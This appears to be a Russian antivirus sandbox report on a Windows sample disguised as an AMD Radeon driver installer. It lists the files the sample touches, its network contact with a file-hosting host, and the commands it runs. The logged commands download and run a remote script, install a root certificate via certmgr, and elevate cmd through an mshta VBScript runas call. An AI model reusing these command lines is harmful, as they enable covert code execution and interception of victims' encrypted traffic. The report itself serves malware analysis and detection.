Техническая информация
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\nst9c8e.tmp
- C:\users\administrator\lgx\1.cmd
- C:\users\administrator\lgx\1.cmd.aria2__temp
- %WINDIR%\temp\tar4a32.tmp
- %WINDIR%\temp\cab4a31.tmp
- %WINDIR%\temp\tar1fa7.tmp
- %WINDIR%\temp\cab1fa6.tmp
- %WINDIR%\temp\tara9f.tmp
- %WINDIR%\temp\caba9e.tmp
- %WINDIR%\temp\tara4f.tmp
- %WINDIR%\temp\caba4e.tmp
- %WINDIR%\temp\tarf4ab.tmp
- %WINDIR%\temp\cabf4aa.tmp
- C:\users\administrator\lgx\aria2c.exe
- C:\users\administrator\lgx\certmgr.exe
- C:\users\administrator\lgx\cert.spc
- nul
- C:\users\administrator\lgx\ [5] ╫╘╢В»░▓╫░ amd radeon╧╘┐Вї╟ВІ╢В»│╠╨≥23.12.1-╖Гі╨╨╚╒╞┌Гє║2023-12-05 {amd╜Г·╓Вє│╓rx5300-rx7900╓В«╝σ╧╘┐Вї}
Присваивает атрибут 'скрытый' для следующих файлов
- C:\users\administrator\lgx\1.cmd
Удаляет следующие файлы
- %WINDIR%\temp\cabf4aa.tmp
- %WINDIR%\temp\tarf4ab.tmp
- %WINDIR%\temp\caba4e.tmp
- %WINDIR%\temp\tara4f.tmp
- %WINDIR%\temp\caba9e.tmp
- %WINDIR%\temp\tara9f.tmp
- %WINDIR%\temp\cab1fa6.tmp
- %WINDIR%\temp\tar1fa7.tmp
- %WINDIR%\temp\cab4a31.tmp
- %WINDIR%\temp\tar4a32.tmp
- C:\users\administrator\lgx\1.cmd.aria2
- C:\users\administrator\lgx\cert.spc
- C:\users\administrator\lgx\certmgr.exe
- C:\users\administrator\lgx\ [5] ╫╘╢В»░▓╫░ amd radeon╧╘┐Вї╟ВІ╢В»│╠╨≥23.12.1-╖Гі╨╨╚╒╞┌Гє║2023-12-05 {amd╜Г·╓Вє│╓rx5300-rx7900╓В«╝σ╧╘┐Вї}
Перемещает следующие файлы
- C:\users\administrator\lgx\1.cmd.aria2__temp в C:\users\administrator\lgx\1.cmd.aria2
Сетевая активность
Подключается к
- 'vi#.#23pan.cn':443
TCP
Другие
- 'vi#.#23pan.cn':443
UDP
- DNS ASK vi#.#23pan.cn
Другое
Добавляет корневой сертификат
Ищет следующие окна
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Создает и запускает на исполнение
- 'C:\users\administrator\lgx\aria2c.exe' --quiet --allow-overwrite=true -d "C:\Users\Administrator\lgx" -o 1.cmd "https://vip.123pan.cn/1814328088/gtx/4"
- 'C:\users\administrator\lgx\aria2c.exe' -c -s32 -x32 -m0 -Z -q https://vip.123pan.cn/1814328088/gtx/certmgr.exe https://vip.123pan.cn/1814328088/gtx/Cert.spc
- 'C:\users\administrator\lgx\certmgr.exe' -add -c cert.spc -s -r localMachine root
Запускает на исполнение
- '%WINDIR%\syswow64\attrib.exe' +h "C:\Users\Administrator\lgx\1.cmd"
- '%WINDIR%\syswow64\cmd.exe' /c ""C:\Users\Administrator\lgx\1.cmd""
- '%WINDIR%\syswow64\mshta.exe' vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c C:\Users\ADMINI~1\lgx\1.cmd ::","","runas",1)(window.close)
- '%WINDIR%\syswow64\cmd.exe' /c C:\Users\ADMINI~1\lgx\1.cmd :
- '%WINDIR%\syswow64\mode.com' con: cols=120 lines=30
- '%WINDIR%\syswow64\chcp.com' 936
- '%WINDIR%\syswow64\cmd.exe' /c "prompt #$H#$E# & echo on & for %b in (1) do rem"
- '%WINDIR%\syswow64\wbem\wmic.exe' path win32_VideoController get name /format:value
- '%WINDIR%\syswow64\findstr.exe' /r /v "^$"
- '%WINDIR%\syswow64\findstr.exe' /v /a:0c /R "^$" " [5] ╫╘╢В»░▓╫░ AMD Radeon╧╘┐Вї╟ВІ╢В»│╠╨≥23.12.1-╖Гі╨╨╚╒╞┌Гє║2023-12-05 {AMD╜Г·╓Вє│╓RX5300-RX7900╓В«╝Σ╧╘┐Вї}" nul
- '%WINDIR%\syswow64\choice.exe' /C:123456 /N
